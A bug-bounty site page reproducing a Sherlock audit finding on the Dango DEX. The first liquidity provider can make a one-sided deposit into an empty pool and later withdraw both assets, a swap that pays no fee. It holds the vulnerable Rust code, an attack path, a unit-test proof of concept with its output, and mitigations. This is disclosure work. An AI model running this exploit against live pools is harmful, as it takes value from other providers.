Skip to content
Business logic Audit finding Intermediate

The first Liquidity Provider can perform a fee less swap by providing unbalanced liquidity

The first liquidity provider to an empty pool can deposit only one asset, and the code mints LP tokens without simulating a swap or charging a fee. When a later provider adds balanced liquidity, the first provider can withdraw and receive a mix of both assets, effectively getting a swap without paying the fee.

Synthrax Follow with Vigilia-Aethereum and d33p

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2025-09-dango-dex-judging/issues/237

Found by

Synthrax, Vigilia-Aethereum, d33p

Summary

When users provide unbalanced liquidity, a swap is simulated and a fee is charged. However, this is not done during the initial liquidity provisioning. So the first Liquidity Provider can provide 1000 USDC in an ETH-USDC pool. Could you wait for the second LP to deposit 1000 ETH and 1000 USDC? Once this has been done, they can withdraw their LP tokens and get 500 USD worth of ETH and 500 USDC. This is effectively a feeless swap.

Root Cause

The root cause of this is allowing unbalanced Liquidity provisioning for empty pools and not charging a swap fee.

https://github.com/sherlock-audit/2025-09-dango-dex/blob/main/left-curve/dango/dex/src/core/liquidity_pool.rs#L167

RS
        if lp_token_supply.is_zero() {
            let mint_amount = match &self.pool_type {
                PassiveLiquidity::Xyk { .. } => xyk::add_initial_liquidity(&deposit)?,
                PassiveLiquidity::Geometric { .. } => {
                    geometric::add_initial_liquidity(oracle_querier, &deposit)?
                },
            };

            reserve.merge(deposit.clone())?;

            return Ok((reserve, mint_amount));
        }

Internal Pre-conditions

The pool should be empty.

External Pre-conditions

None

Attack Path

  1. First LP deposit 1,000,000. USDC in a USDC - ETH POOL. They get 1,000,000 LP tokens for this.
  2. Second LP deposits 500,000 USD worth of both assets and gets 1,000,000 LP tokens for this.
  3. First LP withdraws their deposit and gets 500,000 USDC and 500,000 USD worth of ETH free of charge.

Impact

The first Liquidity Provider receives a feeless swap.

PoC

Bash
cargo test -p dango-dex geometric_attack_flow_one_sided_then_balanced_then_withdraw_logs -- --nocapture | cat
RS
#[test]
    fn geometric_attack_flow_one_sided_then_balanced_then_withdraw_logs() {
        use dango_types::constants::{eth, usdc};
        use dango_types::oracle::PrecisionedPrice;

        // Geometric pool.
        let pair = PairParams {
            pool_type: PassiveLiquidity::Geometric(Geometric {
                ratio: Bounded::new(Udec128::new_percent(50)).unwrap(),
                spacing: Udec128::new_percent(1),
                limit: 10,
            }),
            bucket_sizes: BTreeSet::new(),
            swap_fee_rate: Bounded::new(Udec128::new_percent(1)).unwrap(),
            lp_denom: Denom::new_unchecked(vec!["lp".to_string()]),
            min_order_size: Uint128::ZERO,
        };


        let now = Timestamp::from_seconds(1_730_802_926);
        let prices = hash_map! {
            eth::DENOM.clone() => PrecisionedPrice::new(
                Udec128::new_percent(300000), // 3000.00
                Udec128::new_percent(300000),
                now,
                6,
            ),
            usdc::DENOM.clone() => PrecisionedPrice::new(
                Udec128::new_percent(100), // 1.00
                Udec128::new_percent(100),
                now,
                6,
            ),
        };
        // 83 * 3000 = 249000 + 751688 = 1000688
        let mut oracle_querier = OracleQuerier::new_mock(prices);

        // Start empty.
        let reserve0 = coin_pair! {
            eth::DENOM.clone() => 0u128,
            usdc::DENOM.clone() => 0u128,
        };
        let mut lp_supply = Uint128::ZERO;

        // Attacker A: one-sided initial deposit (USDC only).
        let deposit_a1 = coin_pair! {
            eth::DENOM.clone() => 0u128,
            usdc::DENOM.clone() => 1_000_000u128,
        };
        let (reserve1, lp_minted_a1) = pair
            .add_liquidity(&mut oracle_querier, reserve0, lp_supply, deposit_a1)
            .expect("geometric initial A should succeed");
        lp_supply = lp_supply.checked_add(lp_minted_a1).unwrap();
        println!(
            "[geo] A initial: lp_minted={}, lp_supply={}, reserve eth/usdc={}/{}",
            lp_minted_a1,
            lp_supply,
            reserve1.amount_of(&eth::DENOM).unwrap(),
            reserve1.amount_of(&usdc::DENOM).unwrap()
        );

        // Honest B: balanced deposit (adds both).
        let deposit_b = coin_pair! {
            eth::DENOM.clone() => 500_000u128 /3000,
            usdc::DENOM.clone() => 500_000u128,
        };
        let (reserve2, lp_minted_b) = pair
            .add_liquidity(&mut oracle_querier, reserve1, lp_supply, deposit_b)
            .expect("geometric subsequent B should succeed");
        lp_supply = lp_supply.checked_add(lp_minted_b).unwrap();
        println!(
            "[geo] B subsequent: lp_minted={}, lp_supply={}, reserve eth/usdc={}/{}",
            lp_minted_b,
            lp_supply,
            reserve2.amount_of(&eth::DENOM).unwrap(),
            reserve2.amount_of(&usdc::DENOM).unwrap()
        );

        // Attacker A withdraws all his LP.
        let (_reserve_after_withdraw, refunds_a) = pair
            .remove_liquidity(reserve2, lp_supply, lp_minted_a1)
            .expect("withdraw should succeed");
        println!(
            "[geo] A withdraw: refund eth={}, refund usdc={}",
            refunds_a.amount_of(&eth::DENOM).unwrap(),
            refunds_a.amount_of(&usdc::DENOM).unwrap()
        );
    }

Output

Bash
Compiling dango-dex v0.0.0 (/Users/mansa/Documents/work-station/smart-contract/contests/2025-09-dango-dex-FeeqLabs/left-curve/dango/dex)
    Finished `test` profile [unoptimized + debuginfo] target(s) in 2.03s
     Running unittests src/lib.rs (target/debug/deps/dango_dex-6d651a9dcdad82e0)

running 1 test
[geo] A initial: lp_minted=1000000, lp_supply=1000000, reserve eth/usdc=0/1000000
[geo] B subsequent: lp_minted=995507, lp_supply=1995507, reserve eth/usdc=166/1500000
[geo] A withdraw: refund eth=83, refund usdc=751688
test core::liquidity_pool::tests::geometric_attack_flow_one_sided_then_balanced_then_withdraw_logs ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 42 filtered out; finished in 0.00s

Mitigation

  1. Prevent the first liquidity provider from providing unbalanced liquidity.
  2. Simulate a swap when the first liquidity provider tries to provide unbalanced liquidity.

The original report as published on Sherlock, by Synthrax. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the initial liquidity path mints LP tokens for a one-sided deposit without simulating a swap or charging the swap fee, unlike later deposits.

What the attacker needed

Pool is empty; attacker is first liquidity provider; a later provider adds balanced liquidity

The fix

The pool should reject unbalanced initial liquidity or simulate a swap and charge the fee when the first provider deposits unbalanced amounts.

How it was found

  1. The first liquidity provider deposits only one asset into an empty pool and receives LP tokens.
  2. A second liquidity provider deposits balanced amounts of both assets and receives LP tokens.
  3. The first provider withdraws their LP tokens and receives a mix of both assets, having paid no swap fee.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A liquidity pool holds two tokens so people can swap one for the other. The first person to add funds is meant to add both tokens in the right proportion, but here they could add only one token and still get pool shares. When someone else later adds both tokens, the first person withdraws and ends up with a mix of both, having effectively swapped without paying the usual fee.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from Dango DEX

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.